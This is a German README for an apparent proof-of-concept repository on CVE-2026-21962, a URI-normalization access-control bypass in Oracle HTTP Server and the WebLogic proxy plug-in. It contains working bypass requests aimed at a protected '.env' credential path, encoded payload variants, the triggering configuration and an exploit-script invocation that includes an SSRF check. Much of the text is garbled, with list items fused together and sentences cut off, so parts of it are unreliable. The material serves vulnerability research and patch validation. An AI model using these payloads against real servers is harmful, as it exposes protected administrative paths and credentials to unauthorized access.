
Verifizierter PoC und Analyse für CVE-2026-21962, eine Umgehung der Zugriffskontrolle im Oracle HTTP Server/WebLogic Proxy-Plug-in über eine Inkonsistenz bei der URI-Normalisierung, mit Exploit-Skript und Nachweisen.
Eine unabhängig reproduzierte Exploit- und Analyse für CVE-2026-21962 (unsachgemäße Zugriffskontrolle, CVSS 10.0) in Oracle HTTP Server / dem Oracle WebLogic Server Proxy-Plug-in für Apache HTTP Server.
Status: verifiziert gegen Live-OHS 12.2.1.4.0 und 14.1.2.0.0 vor WebLogic Server 12.2.1.4.
Das Frontend (OHS + mod_wl_ohs) und das Backend (WebLogic) normalisieren
..; unterschiedlich. Eine Anfrage wie:
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
umgeht eine Frontend-Schutzregel <Location /internal-admin>, weil OHS
..; zusammenführt, während WebLogic dies ( = Servlet-
Pfadparameter, = übergeordnetes Verzeichnis). Das Backend liefert dann den
geschützten Pfad aus. Ergebnis:
(CWE-284).
;..Siehe analysis/root-cause.md.
mod_wl_ohs (WLSPLUGINS_12.2.1.4.0_LINUX.X64_190912.1848)
vor WebLogic Server 12.2.1.4.mod_wl_ohs (WLSPLUGINS_14.1.2.0.0_LINUX.X64_250908.1137)
vor WebLogic Server 12.2.1.4..env):
/foo/..;/internal-admin/cont/.env/foo/..%3b/internal-admin/cont/.env/foo/..;jsessionid=xxxx/internal-admin/cont/.env/foo/%2e%2e;/internal-admin/cont/.env404), was den Bypass beweist.X-ORACLE-DMS-*-Header, was beweist, dass es sich um eine
echte Backend- (WebLogic-) Antwort handelt./internal-admin/...
(GET /foo/../internal-admin/... 200).evidence/).poc-factcheck.md).isapi_wl, betroffen in
12.2.1.4.0). Derselbe Mechanismus wird erwartet (Servlet-Pfadauflösung im
Backend), wurde aber nicht unter Windows reproduziert.analysis/patch-analysis.md).| Rolle | Komponente | Version |
|---|---|---|
| Frontend | Oracle HTTP Server | 12.2.1.4.0 / 14.1.2.0.0 |
| Plug-in | mod_wl_ohs | 12.2.1.4 (190912) / 14.1.2 (250908) |
| Backend | Oracle WebLogic Server | 12.2.1.4 |
| geschützte App | /internal-admin/cont/.env (fiktive Anmeldedaten) | — |
Verwendete Frontend-Konfiguration (minimaler Auslöser):
<Location /foo>
WLSRequest ON
WebLogicCluster <backend>:7101
</Location>
<Location /internal-admin>
ErrorDocument 404 'OHS: Disallowed location'
Redirect 404 /
</Location>
Gleiche Anfrage, gleiches Frontend, gleiches Backend — nur die Behandlung von
..; im Frontend ist geändert.
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
| Bereitstellung | HTTP | geleakt | Backend erreicht |
|---|---|---|---|
| verwundbar | 200 | ja (.env-Anmeldedaten) | ja (X-ORACLE-DMS-*) |
| gepatcht (korrigierte Normalisierung) | 404 | nein | nein |
Rohbeweise (Anfrage / Antwort / Serverprotokolle):
python3 exploit/CVE-2026-21962.py -t http://TARGET:PORT --auto-proxy --check ALL
--auto-proxy : automatische Erkennung des WLSRequest-Proxy-Präfixes (z. B. /foo).-c : geschützter Pfad im Backend (Standard internal-admin/cont/.env).--check LEAK|SSRF|ALL.X-ORACLE-DMS-*-Header; die
Kontroll- (direkte) Anfrage muss blockiert sein, damit das Ergebnis positiv ist.Siehe exploit/README.md für Details. Verwenden Sie dies nur gegen Systeme, für
deren Test Sie autorisiert sind.
.
├── README.md diese Datei
├── exploit/
│ ├── CVE-2026-21962.py verifizierter PoC (deterministischer Leck-Check)
│ └── README.md
├── evidence/
│ ├── vulnerable/ request.txt, response.txt, server-log.txt
│ └── patched/ request.txt, response.txt, server-log.txt
├── analysis/
│ ├── root-cause.md Analyse der Normalisierungsabweichung
│ └── patch-analysis.md Binärdiff + patch-äquivalenter A/B-Test
└── poc-factcheck.md Glaubwürdigkeitstabelle öffentlicher PoCs + Detail pro PoC
Aktive Erkennungs-/Mapping-Werkzeuge (Fingerprint, Blind-Probe, Normalisierungs-
Karte), die OHNE Kenntnis eines geschützten Pfads funktionieren, werden separat in
../../probe/ aufbewahrt.
exploit/CVE-2026-21962.py
SHA-256: 20f050abf2a8f0e5b644667c1f7f87bcd9b2448d03b8d5d89bd6ea71b6b4f75aDieses Material wird für Schwachstellenforschung und defensive Validierung
bereitgestellt. Verwenden Sie es nicht gegen Systeme ohne Autorisierung. Der
.env-Inhalt in den Beweisen ist fiktiv; es sind keine echten Anmeldedaten
enthalten.